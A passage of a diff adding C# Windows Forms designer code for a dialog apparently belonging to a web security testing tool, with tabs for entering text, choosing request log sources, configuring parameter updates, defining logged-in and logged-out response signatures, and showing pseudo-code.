this.DeleteParameterAnswerEntryLL = new System.Windows.Forms.LinkLabel(); + this.EditParameterAnswerEntryLL = new System.Windows.Forms.LinkLabel(); + this.AddParameterAnswerEntryLL = new System.Windows.Forms.LinkLabel(); + this.UserHintPanel = new System.Windows.Forms.Panel(); + this.ParameterAskUserHintTB = new System.Windows.Forms.TextBox(); + this.ParameterFourLbl = new System.Windows.Forms.Label(); + this.HowToParseResponsePanel = new System.Windows.Forms.Panel(); + this.ParameterThreeLbl = new System.Windows.Forms.Label(); + this.ParseParameterFromHtmlRB = new System.Windows.Forms.RadioButton(); + this.ParseParameterFromRegexRB = new System.Windows.Forms.RadioButton(); + this.ParameterParseRegexTB = new System.Windows.Forms.TextBox(); + this.HowToUpdateParameterPanel = new System.Windows.Forms.Panel(); + this.ParameterSourceFromResponseRB = new System.Windows.Forms.RadioButton(); + this.ParameterSourceFromUserRB = new System.Windows.Forms.RadioButton(); + this.ParameterTwoLbl = new System.Windows.Forms.Label(); + this.ParametersDescLL = new System.Windows.Forms.LinkLabel(); + this.ParametersAnswerMsgTB = new System.Windows.Forms.TextBox(); + this.ParameterOneLbl = new System.Windows.Forms.Label(); + this.ParameterNameTB = new System.Windows.Forms.TextBox(); + this.ParameterNameTBLbl = new System.Windows.Forms.Label(); + this.ParameterTypeCombo = new System.Windows.Forms.ComboBox(); + this.ParameterTypeComboLbl = new System.Windows.Forms.Label(); + this.SubmitParameterAnswerBtn = new System.Windows.Forms.Button(); + this.ParametersAnswerGrid = new System.Windows.Forms.DataGridView(); + this.ParameterSectionColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ParameterNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.UpdateFromColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ParseResponseColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.RegexColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.HintColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ResponseSignatureTab = new System.Windows.Forms.TabPage(); + this.SignatureSubmitBtn = new System.Windows.Forms.Button(); + this.LocationSignatureKeywordTB = new System.Windows.Forms.TextBox(); + this.LocationSignatureTypeSelectCombo = new System.Windows.Forms.ComboBox(); + this.label6 = new System.Windows.Forms.Label(); + this.FullResponseSignatureSecondPanel = new System.Windows.Forms.Panel(); + this.BodySignatureKeywordTB = new System.Windows.Forms.TextBox(); + this.BodySignatureTypeSelectCombo = new System.Windows.Forms.ComboBox(); + this.label8 = new System.Windows.Forms.Label(); + this.TitleSignatureKeywordTB = new System.Windows.Forms.TextBox(); + this.TitleSignatureTypeSelectCombo = new System.Windows.Forms.ComboBox(); + this.label7 = new System.Windows.Forms.Label(); + this.UseTitleSignatureCB = new System.Windows.Forms.CheckBox(); + this.UseBodySignatureCB = new System.Windows.Forms.CheckBox(); + this.UseLocationSignatureCB = new System.Windows.Forms.CheckBox(); + this.FullResponseSignatureFirstPanel = new System.Windows.Forms.Panel(); + this.LoggedOutResponseSignatureRB = new System.Windows.Forms.RadioButton(); + this.LoggedInResponseSignatureRB = new System.Windows.Forms.RadioButton(); + this.SignatureAnswerMsgTB = new System.Windows.Forms.TextBox(); + this.SignatureResponseCodeTB = new System.Windows.Forms.TextBox(); + this.label5 = new System.Windows.Forms.Label(); + this.SelectOptionTab = new System.Windows.Forms.TabPage(); + this.SelectOptionAnswerMsgTB = new System.Windows.Forms.TextBox(); + this.SpecialOptionBtn = new System.Windows.Forms.Button(); + this.SelectedOptionSubmitBtn = new System.Windows.Forms.Button(); + this.OptionsGrid = new System.Windows.Forms.DataGridView(); + this.SelectClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.OptionNameClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ShowPseudoCodeTab = new System.Windows.Forms.TabPage(); + this.ShowPseudoCodeGoToMainMenuBtn = new System.Windows.Forms.Button(); + this.label12 = new System.Windows.Forms.Label(); + this.ShowPseudoCodeTB = new System.Windows.Forms.TextBox(); + this.BaseSplit.Panel1.SuspendLayout(); + this.BaseSplit.Panel2.SuspendLayout(); + this.BaseSplit.SuspendLayout(); + this.AnswerTabs.SuspendLayout(); + this.TextAnswerTab.SuspendLayout(); + this.RequestSourceAnswerTab.SuspendLayout(); + this.ParameterAnswerTab.SuspendLayout(); + this.UserHintPanel.SuspendLayout(); + this.HowToParseResponsePanel.SuspendLayout(); + this.HowToUpdateParameterPanel.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ParametersAnswerGrid)).BeginInit(); + this.ResponseSignatureTab.SuspendLayout(); + this.FullResponseSignatureSecondPanel.SuspendLayout(); + this.FullResponseSignatureFirstPanel.SuspendLayout(); + this.SelectOptionTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.OptionsGrid)).BeginInit(); + this.ShowPseudoCodeTab.SuspendLayout(); + this.SuspendLayout(); + // + // AnswerTB + // + this.AnswerTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.AnswerTB.Location = new System.Drawing.Point(94, 106); + this.AnswerTB.Name = "AnswerTB"; + this.AnswerTB.Size = new System.Drawing.Size(602, 20); + this.AnswerTB.TabIndex = 0; + this.AnswerTB.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.AnswerTB_KeyPress); + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(8, 109); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(80, 13); + this.label1.TabIndex = 1; + this.label1.Text = "One Line Input:"; + // + // BigAnswerTB + // + this.BigAnswerTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.BigAnswerTB.Location = new System.Drawing.Point(94, 141); + this.BigAnswerTB.Multiline = true; + this.BigAnswerTB.Name = "BigAnswerTB"; + this.BigAnswerTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.BigAnswerTB.Size = new System.Drawing.Size(602, 106); + this.BigAnswerTB.TabIndex = 2; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(10, 141); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(78, 13); + this.label2.TabIndex = 3; + this.label2.Text = "Multi-line Input:"; + // + // SubmitAnswerBtn + // + this.SubmitAnswerBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.SubmitAnswerBtn.Location = new System.Drawing.Point(702, 106); + this.SubmitAnswerBtn.Name = "SubmitAnswerBtn"; + this.SubmitAnswerBtn.Size = new System.Drawing.Size(71, 141); + this.SubmitAnswerBtn.TabIndex = 4; + this.SubmitAnswerBtn.Text = "Submit"; + this.SubmitAnswerBtn.UseVisualStyleBackColor = true; + this.SubmitAnswerBtn.Click += new System.EventHandler(this.SubmitAnswerBtn_Click); + // + // QuestionRTB + // + this.QuestionRTB.BackColor = System.Drawing.Color.White; + this.QuestionRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.QuestionRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.QuestionRTB.Location = new System.Drawing.Point(0, 0); + this.QuestionRTB.Margin = new System.Windows.Forms.Padding(0); + this.QuestionRTB.Name = "QuestionRTB"; + this.QuestionRTB.ReadOnly = true; + this.QuestionRTB.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; + this.QuestionRTB.Size = new System.Drawing.Size(784, 281); + this.QuestionRTB.TabIndex = 5; + this.QuestionRTB.Text = ""; + // + // StatusTB + // + this.StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.StatusTB.BackColor = System.Drawing.SystemColors.Control; + this.StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.StatusTB.ForeColor = System.Drawing.Color.Red; + this.StatusTB.Location = new System.Drawing.Point(0, 0); + this.StatusTB.Margin = new System.Windows.Forms.Padding(0); + this.StatusTB.Multiline = true; + this.StatusTB.Name = "StatusTB"; + this.StatusTB.ReadOnly = true; + this.StatusTB.Size = new System.Drawing.Size(776, 45); + this.StatusTB.TabIndex = 6; + // + // BaseSplit + // + this.BaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseSplit.Location = new System.Drawing.Point(0, 0); + this.BaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.BaseSplit.Name = "BaseSplit"; + this.BaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // BaseSplit.Panel1 + // + this.BaseSplit.Panel1.Controls.Add(this.QuestionRTB); + // + // BaseSplit.Panel2 + // + this.BaseSplit.Panel2.Controls.Add(this.AnswerTabs); + this.BaseSplit.Size = new System.Drawing.Size(784, 562); + this.BaseSplit.SplitterDistance = 281; + this.BaseSplit.SplitterWidth = 2; + this.BaseSplit.TabIndex = 7; + // + // AnswerTabs + // + this.AnswerTabs.Appearance = System.Windows.Forms.TabAppearance.FlatButtons; + this.AnswerTabs.Controls.Add(this.TextAnswerTab); + this.AnswerTabs.Controls.Add(this.RequestSourceAnswerTab); + this.AnswerTabs.Controls.Add(this.ParameterAnswerTab); + this.AnswerTabs.Controls.Add(this.ResponseSignatureTab); + this.AnswerTabs.Controls.Add(this.SelectOptionTab); + this.AnswerTabs.Controls.Add(this.ShowPseudoCodeTab); + this.AnswerTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.AnswerTabs.Location = new System.Drawing.Point(0, 0); + this.AnswerTabs.Margin = new System.Windows.Forms.Padding(0); + this.AnswerTabs.Multiline = true; + this.AnswerTabs.Name = "AnswerTabs"; + this.AnswerTabs.Padding = new System.Drawing.Point(0, 0); + this.AnswerTabs.SelectedIndex = 0; + this.AnswerTabs.Size = new System.Drawing.Size(784, 279); + this.AnswerTabs.TabIndex = 0; + this.AnswerTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.AnswerTabs_Selecting); + // + // TextAnswerTab + // + this.TextAnswerTab.Controls.Add(this.StatusTB); + this.TextAnswerTab.Controls.Add(this.SubmitAnswerBtn); + this.TextAnswerTab.Controls.Add(this.AnswerTB); + this.TextAnswerTab.Controls.Add(this.label2); + this.TextAnswerTab.Controls.Add(this.label1); + this.TextAnswerTab.Controls.Add(this.BigAnswerTB); + this.TextAnswerTab.Location = new System.Drawing.Point(4, 25); + this.TextAnswerTab.Margin = new System.Windows.Forms.Padding(0); + this.TextAnswerTab.Name = "TextAnswerTab"; + this.TextAnswerTab.Size = new System.Drawing.Size(776, 250); + this.TextAnswerTab.TabIndex = 0; + this.TextAnswerTab.Text = "Enter Text"; + this.TextAnswerTab.UseVisualStyleBackColor = true; + // + // RequestSourceAnswerTab + // + this.RequestSourceAnswerTab.Controls.Add(this.label11); + this.RequestSourceAnswerTab.Controls.Add(this.label10); + this.RequestSourceAnswerTab.Controls.Add(this.label9); + this.RequestSourceAnswerTab.Controls.Add(this.RequestSourceNameTB); + this.RequestSourceAnswerTab.Controls.Add(this.RequestSourceAnswerMsgTB); + this.RequestSourceAnswerTab.Controls.Add(this.label4); + this.RequestSourceAnswerTab.Controls.Add(this.RequestSourceIdTB); + this.RequestSourceAnswerTab.Controls.Add(this.RequestSourceAnswerSubmitBtn); + this.RequestSourceAnswerTab.Controls.Add(this.label3); + this.RequestSourceAnswerTab.Controls.Add(this.RequestSourceCombo); + this.RequestSourceAnswerTab.Location = new System.Drawing.Point(4, 25); + this.RequestSourceAnswerTab.Name = "RequestSourceAnswerTab"; + this.RequestSourceAnswerTab.Size = new System.Drawing.Size(776, 250); + this.RequestSourceAnswerTab.TabIndex = 2; + this.RequestSourceAnswerTab.Text = "Specify Request Source"; + this.RequestSourceAnswerTab.UseVisualStyleBackColor = true; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(289, 102); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(42, 13); + this.label11.TabIndex = 24; + this.label11.Text = "request"; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(21, 123); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(537, 26); + this.label10.TabIndex = 23; + this.label10.Text = resources.GetString("label10.Text"); + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(34, 101); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(81, 13); + this.label9.TabIndex = 22; + this.label9.Text = "Request Name:"; + // + // RequestSourceNameTB + // + this.RequestSourceNameTB.BackColor = System.Drawing.Color.White; + this.RequestSourceNameTB.Location = new System.Drawing.Point(118, 98); + this.RequestSourceNameTB.Name = "RequestSourceNameTB"; + this.RequestSourceNameTB.Size = new System.Drawing.Size(170, 20); + this.RequestSourceNameTB.TabIndex = 21; + this.RequestSourceNameTB.TextChanged += new System.EventHandler(this.RequestSourceNameTB_TextChanged); + // + // RequestSourceAnswerMsgTB + // + this.RequestSourceAnswerMsgTB.BackColor = System.Drawing.SystemColors.Control; + this.RequestSourceAnswerMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.RequestSourceAnswerMsgTB.ForeColor = System.Drawing.Color.Red; + this.RequestSourceAnswerMsgTB.Location = new System.Drawing.Point(3, 4); + this.RequestSourceAnswerMsgTB.Name = "RequestSourceAnswerMsgTB"; + this.RequestSourceAnswerMsgTB.ReadOnly = true; + this.RequestSourceAnswerMsgTB.Size = new System.Drawing.Size(770, 13); + this.RequestSourceAnswerMsgTB.TabIndex = 20; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(74, 75); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(42, 13); + this.label4.TabIndex = 4; + this.label4.Text = "Log ID:"; + // + // RequestSourceIdTB + // + this.RequestSourceIdTB.BackColor = System.Drawing.Color.White; + this.RequestSourceIdTB.Location = new System.Drawing.Point(119, 72); + this.RequestSourceIdTB.Name = "RequestSourceIdTB"; + this.RequestSourceIdTB.Size = new System.Drawing.Size(80, 20); + this.RequestSourceIdTB.TabIndex = 3; + this.RequestSourceIdTB.TextChanged += new System.EventHandler(this.RequestSourceIdTB_TextChanged); + // + // RequestSourceAnswerSubmitBtn + // + this.RequestSourceAnswerSubmitBtn.Location = new System.Drawing.Point(376, 75); + this.RequestSourceAnswerSubmitBtn.Name = "RequestSourceAnswerSubmitBtn"; + this.RequestSourceAnswerSubmitBtn.Size = new System.Drawing.Size(200, 46); + this.RequestSourceAnswerSubmitBtn.TabIndex = 2; + this.RequestSourceAnswerSubmitBtn.Text = "Done"; + this.RequestSourceAnswerSubmitBtn.UseVisualStyleBackColor = true; + this.RequestSourceAnswerSubmitBtn.Click += new System.EventHandler(this.RequestSourceAnswerSubmitBtn_Click); + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(8, 46); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(108, 13); + this.label3.TabIndex = 1; + this.label3.Text = "Request Log Source:"; + // + // RequestSourceCombo + // + this.RequestSourceCombo.FormattingEnabled = true; + this.RequestSourceCombo.Items.AddRange(new object[] { + "Proxy", + "Test", + "Shell", + "Scan", + "Probe"}); + this.RequestSourceCombo.Location = new System.Drawing.Point(118, 45); + this.RequestSourceCombo.Name = "RequestSourceCombo"; + this.RequestSourceCombo.Size = new System.Drawing.Size(170, 21); + this.RequestSourceCombo.TabIndex = 0; + this.RequestSourceCombo.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.RequestSourceCombo_KeyPress); + // + // ParameterAnswerTab + // + this.ParameterAnswerTab.Controls.Add(this.DeleteParameterAnswerEntryLL); + this.ParameterAnswerTab.Controls.Add(this.EditParameterAnswerEntryLL); + this.ParameterAnswerTab.Controls.Add(this.AddParameterAnswerEntryLL); + this.ParameterAnswerTab.Controls.Add(this.UserHintPanel); + this.ParameterAnswerTab.Controls.Add(this.HowToParseResponsePanel); + this.ParameterAnswerTab.Controls.Add(this.HowToUpdateParameterPanel); + this.ParameterAnswerTab.Controls.Add(this.ParametersDescLL); + this.ParameterAnswerTab.Controls.Add(this.ParametersAnswerMsgTB); + this.ParameterAnswerTab.Controls.Add(this.ParameterOneLbl); + this.ParameterAnswerTab.Controls.Add(this.ParameterNameTB); + this.ParameterAnswerTab.Controls.Add(this.ParameterNameTBLbl); + this.ParameterAnswerTab.Controls.Add(this.ParameterTypeCombo); + this.ParameterAnswerTab.Controls.Add(this.ParameterTypeComboLbl); + this.ParameterAnswerTab.Controls.Add(this.SubmitParameterAnswerBtn); + this.ParameterAnswerTab.Controls.Add(this.ParametersAnswerGrid); + this.ParameterAnswerTab.Location = new System.Drawing.Point(4, 25); + this.ParameterAnswerTab.Name = "ParameterAnswerTab"; + this.ParameterAnswerTab.Size = new System.Drawing.Size(776, 250); + this.ParameterAnswerTab.TabIndex = 3; + this.ParameterAnswerTab.Text = "Specify Parameters"; + this.ParameterAnswerTab.UseVisualStyleBackColor = true; + // + // DeleteParameterAnswerEntryLL + // + this.DeleteParameterAnswerEntryLL.AutoSize = true; + this.DeleteParameterAnswerEntryLL.Location = new System.Drawing.Point(691, 193); + this.DeleteParameterAnswerEntryLL.Name = "DeleteParameterAnswerEntryLL"; + this.DeleteParameterAnswerEntryLL.Size = new System.Drawing.Size(65, 13); + this.DeleteParameterAnswerEntryLL.TabIndex = 26; + this.DeleteParameterAnswerEntryLL.TabStop = true; + this.DeleteParameterAnswerEntryLL.Text = "Delete Entry"; + this.DeleteParameterAnswerEntryLL.Visible = false; + this.DeleteParameterAnswerEntryLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.DeleteParameterAnswerEntryLL_LinkClicked); + // + // EditParameterAnswerEntryLL + // + this.EditParameterAnswerEntryLL.AutoSize = true; + this.EditParameterAnswerEntryLL.Location = new System.Drawing.Point(691, 174); + this.EditParameterAnswerEntryLL.Name = "EditParameterAnswerEntryLL"; + this.EditParameterAnswerEntryLL.Size = new System.Drawing.Size(52, 13); + this.EditParameterAnswerEntryLL.TabIndex = 25; + this.EditParameterAnswerEntryLL.TabStop = true; + this.EditParameterAnswerEntryLL.Text = "Edit Entry"; + this.EditParameterAnswerEntryLL.Visible = false; + this.EditParameterAnswerEntryLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.EditParameterAnswerEntryLL_LinkClicked); + // + // AddParameterAnswerEntryLL + // + this.AddParameterAnswerEntryLL.AutoSize = true; + this.AddParameterAnswerEntryLL.Location = new System.Drawing.Point(691, 120); + this.AddParameterAnswerEntryLL.Name = "AddParameterAnswerEntryLL"; + this.AddParameterAnswerEntryLL.Size = new System.Drawing.Size(53, 13); + this.AddParameterAnswerEntryLL.TabIndex = 24; + this.AddParameterAnswerEntryLL.TabStop = true; + this.AddParameterAnswerEntryLL.Text = "Add Entry"; + this.AddParameterAnswerEntryLL.Visible = false; + this.AddParameterAnswerEntryLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.AddParameterAnswerEntryLL_LinkClicked); + // + // UserHintPanel + // + this.UserHintPanel.Controls.Add(this.ParameterAskUserHintTB); + this.UserHintPanel.Controls.Add(this.ParameterFourLbl); + this.UserHintPanel.Location = new System.Drawing.Point(8, 132); + this.UserHintPanel.Name = "UserHintPanel"; + this.UserHintPanel.Size = new System.Drawing.Size(672, 30); + this.UserHintPanel.TabIndex = 23; + // + // ParameterAskUserHintTB + // + this.ParameterAskUserHintTB.Location = new System.Drawing.Point(137, 4); + this.ParameterAskUserHintTB.Name = "ParameterAskUserHintTB"; + this.ParameterAskUserHintTB.Size = new System.Drawing.Size(532, 20); + this.ParameterAskUserHintTB.TabIndex = 17; + // + // ParameterFourLbl + // + this.ParameterFourLbl.AutoSize = true; + this.ParameterFourLbl.Location = new System.Drawing.Point(3, 8); + this.ParameterFourLbl.Name = "ParameterFourLbl"; + this.ParameterFourLbl.Size = new System.Drawing.Size(128, 13); + this.ParameterFourLbl.TabIndex = 16; + this.ParameterFourLbl.Text = "Hint to user in the prompt:"; + // + // HowToParseResponsePanel + // + this.HowToParseResponsePanel.Controls.Add(this.ParameterThreeLbl); + this.HowToParseResponsePanel.Controls.Add(this.ParseParameterFromHtmlRB); + this.HowToParseResponsePanel.Controls.Add(this.ParseParameterFromRegexRB); + this.HowToParseResponsePanel.Controls.Add(this.ParameterParseRegexTB); + this.HowToParseResponsePanel.Location = new System.Drawing.Point(8, 94); + this.HowToParseResponsePanel.Name = "HowToParseResponsePanel"; + this.HowToParseResponsePanel.Size = new System.Drawing.Size(672, 32); + this.HowToParseResponsePanel.TabIndex = 22; + // + // ParameterThreeLbl + // + this.ParameterThreeLbl.AutoSize = true; + this.ParameterThreeLbl.Location = new System.Drawing.Point(3, 9); + this.ParameterThreeLbl.Name = "ParameterThreeLbl"; + this.ParameterThreeLbl.Size = new System.Drawing.Size(200, 13); + this.ParameterThreeLbl.TabIndex = 12; + this.ParameterThreeLbl.Text = "How to Parse new value from Response:"; + // + // ParseParameterFromHtmlRB + // + this.ParseParameterFromHtmlRB.AutoSize = true; + this.ParseParameterFromHtmlRB.Checked = true; + this.ParseParameterFromHtmlRB.Location = new System.Drawing.Point(210, 9); + this.ParseParameterFromHtmlRB.Name = "ParseParameterFromHtmlRB"; + this.ParseParameterFromHtmlRB.Size = new System.Drawing.Size(137, 17); + this.ParseParameterFromHtmlRB.TabIndex = 13; + this.ParseParameterFromHtmlRB.TabStop = true; + this.ParseParameterFromHtmlRB.Text = "From HTML Form Fields"; + this.ParseParameterFromHtmlRB.UseVisualStyleBackColor = true; + // + // ParseParameterFromRegexRB + // + this.ParseParameterFromRegexRB.AutoSize = true; + this.ParseParameterFromRegexRB.Location = new System.Drawing.Point(351, 9); + this.ParseParameterFromRegexRB.Name = "ParseParameterFromRegexRB"; + this.ParseParameterFromRegexRB.Size = new System.Drawing.Size(127, 17); + this.ParseParameterFromRegexRB.TabIndex = 14; + this.ParseParameterFromRegexRB.Text = "Parse with this Regex"; + this.ParseParameterFromRegexRB.UseVisualStyleBackColor = true; + this.ParseParameterFromRegexRB.CheckedChanged += new System.EventHandler(this.ParseParameterFromRegexRB_CheckedChanged); + // + // ParameterParseRegexTB + // + this.ParameterParseRegexTB.BackColor = System.Drawing.Color.White; + this.ParameterParseRegexTB.Enabled = false; + this.ParameterParseRegexTB.Location = new System.Drawing.Point(481, 8); + this.ParameterParseRegexTB.Name = "ParameterParseRegexTB"; + this.ParameterParseRegexTB.Size = new System.Drawing.Size(188, 20); + this.ParameterParseRegexTB.TabIndex = 15; + this.ParameterParseRegexTB.TextChanged += new System.EventHandler(this.ParameterParseRegexTB_TextChanged); + // + // HowToUpdateParameterPanel + // + this.HowToUpdateParameterPanel.Controls.Add(this.ParameterSourceFromResponseRB); + this.HowToUpdateParameterPanel.Controls.Add(this.ParameterSourceFromUserRB); + this.HowToUpdateParameterPanel.Controls.Add(this.ParameterTwoLbl); + this.HowToUpdateParameterPanel.Location = new System.Drawing.Point(8, 64); + this.HowToUpdateParameterPanel.Name = "HowToUpdateParameterPanel"; + this.HowToUpdateParameterPanel.Size = new System.Drawing.Size(361, 24); + this.HowToUpdateParameterPanel.TabIndex = 21; + // + // ParameterSourceFromResponseRB + // + this.ParameterSourceFromResponseRB.AutoSize = true; + this.ParameterSourceFromResponseRB.Location = new System.Drawing.Point(174, 4); + this.ParameterSourceFromResponseRB.Name = "ParameterSourceFromResponseRB"; + this.ParameterSourceFromResponseRB.Size = new System.Drawing.Size(99, 17); + this.ParameterSourceFromResponseRB.TabIndex = 10; + this.ParameterSourceFromResponseRB.TabStop = true; + this.ParameterSourceFromResponseRB.Text = "From Response"; + this.ParameterSourceFromResponseRB.UseVisualStyleBackColor = true; + this.ParameterSourceFromResponseRB.CheckedChanged += new System.EventHandler(this.ParameterSourceFromResponseRB_CheckedChanged); + // + // ParameterSourceFromUserRB + // + this.ParameterSourceFromUserRB.AutoSize = true; + this.ParameterSourceFromUserRB.Location = new System.Drawing.Point(281, 4); + this.ParameterSourceFromUserRB.Name = "ParameterSourceFromUserRB"; + this.ParameterSourceFromUserRB.Size = new System.Drawing.Size(68, 17); + this.ParameterSourceFromUserRB.TabIndex = 11; + this.ParameterSourceFromUserRB.TabStop = true; + this.ParameterSourceFromUserRB.Text = "Ask User"; + this.ParameterSourceFromUserRB.UseVisualStyleBackColor = true; + this.ParameterSourceFromUserRB.CheckedChanged += new System.EventHandler(this.ParameterSourceFromUserRB_CheckedChanged); + // + // ParameterTwoLbl + // + this.ParameterTwoLbl.AutoSize = true; + this.ParameterTwoLbl.Location = new System.Drawing.Point(7, 6); + this.ParameterTwoLbl.Name = "ParameterTwoLbl"; + this.ParameterTwoLbl.Size = new System.Drawing.Size(152, 13); + this.ParameterTwoLbl.TabIndex = 9; + this.ParameterTwoLbl.Text = "How to Update this Parameter:"; + // + // ParametersDescLL + // + this.ParametersDescLL.AutoSize = true; + this.ParametersDescLL.Location = new System.Drawing.Point(643, 41); + this.ParametersDescLL.Name = "ParametersDescLL"; + this.ParametersDescLL.Size = new System.Drawing.Size(33, 13); + this.ParametersDescLL.TabIndex = 20; + this.ParametersDescLL.TabStop = true; + this.ParametersDescLL.Text = "Done"; + this.ParametersDescLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ParametersDescLL_LinkClicked); + // + // ParametersAnswerMsgTB + // + this.ParametersAnswerMsgTB.BackColor = System.Drawing.SystemColors.Control; + this.ParametersAnswerMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ParametersAnswerMsgTB.ForeColor = System.Drawing.Color.Red; + this.ParametersAnswerMsgTB.Location = new System.Drawing.Point(3, 4); + this.ParametersAnswerMsgTB.Name = "ParametersAnswerMsgTB"; + this.ParametersAnswerMsgTB.ReadOnly = true; + this.ParametersAnswerMsgTB.Size = new System.Drawing.Size(770, 13); + this.ParametersAnswerMsgTB.TabIndex = 19; + // + // ParameterOneLbl + // + this.ParameterOneLbl.AutoSize = true; + this.ParameterOneLbl.Location = new System.Drawing.Point(8, 40); + this.ParameterOneLbl.Name = "ParameterOneLbl"; + this.ParameterOneLbl.Size = new System.Drawing.Size(108, 13); + this.ParameterOneLbl.TabIndex = 8; + this.ParameterOneLbl.Text = "Parameter to Update:"; + // + // ParameterNameTB + // + this.ParameterNameTB.BackColor = System.Drawing.Color.White; + this.ParameterNameTB.Location = new System.Drawing.Point(444, 38); + this.ParameterNameTB.Name = "ParameterNameTB"; + this.ParameterNameTB.Size = new System.Drawing.Size(193, 20); + this.ParameterNameTB.TabIndex = 7; + this.ParameterNameTB.TextChanged += new System.EventHandler(this.ParameterNameTB_TextChanged); + // + // ParameterNameTBLbl + // + this.ParameterNameTBLbl.AutoSize = true; + this.ParameterNameTBLbl.Location = new System.Drawing.Point(349, 41); + this.ParameterNameTBLbl.Name = "ParameterNameTBLbl"; + this.ParameterNameTBLbl.Size = new System.Drawing.Size(89, 13); + this.ParameterNameTBLbl.TabIndex = 6; + this.ParameterNameTBLbl.Text = "Parameter Name:"; + // + // ParameterTypeCombo + // + this.ParameterTypeCombo.FormattingEnabled = true; + this.ParameterTypeCombo.Items.AddRange(new object[] { + "UrlPathPart", + "Query", + "Body", + "Cookie", + "Header"}); + this.ParameterTypeCombo.Location = new System.Drawing.Point(213, 37); + this.ParameterTypeCombo.Name = "ParameterTypeCombo"; + this.ParameterTypeCombo.Size = new System.Drawing.Size(121, 21); + this.ParameterTypeCombo.TabIndex = 5; + this.ParameterTypeCombo.SelectedIndexChanged += new System.EventHandler(this.ParameterTypeCombo_SelectedIndexChanged); + this.ParameterTypeCombo.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.ParameterTypeCombo_KeyPress); + // + // ParameterTypeComboLbl + // + this.ParameterTypeComboLbl.AutoSize = true; + this.ParameterTypeComboLbl.Location = new System.Drawing.Point(122, 40); + this.ParameterTypeComboLbl.Name = "ParameterTypeComboLbl"; + this.ParameterTypeComboLbl.Size = new System.Drawing.Size(85, 13); + this.ParameterTypeComboLbl.TabIndex = 4; + this.ParameterTypeComboLbl.Text = "Parameter Type:"; + // + // SubmitParameterAnswerBtn + // + this.SubmitParameterAnswerBtn.Location = new System.Drawing.Point(682, 216); + this.SubmitParameterAnswerBtn.Name = "SubmitParameterAnswerBtn"; + this.SubmitParameterAnswerBtn.Size = new System.Drawing.Size(91, 33); + this.SubmitParameterAnswerBtn.TabIndex = 3; + this.SubmitParameterAnswerBtn.Text = "Submit Answer"; + this.SubmitParameterAnswerBtn.UseVisualStyleBackColor = true; + this.SubmitParameterAnswerBtn.Click += new System.EventHandler(this.SubmitParameterAnswerBtn_Click); + // + // ParametersAnswerGrid + // + this.ParametersAnswerGrid.AllowUserToAddRows = false; + this.ParametersAnswerGrid.AllowUserToDeleteRows = false; + this.ParametersAnswerGrid.AllowUserToResizeRows = false; + this.ParametersAnswerGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + 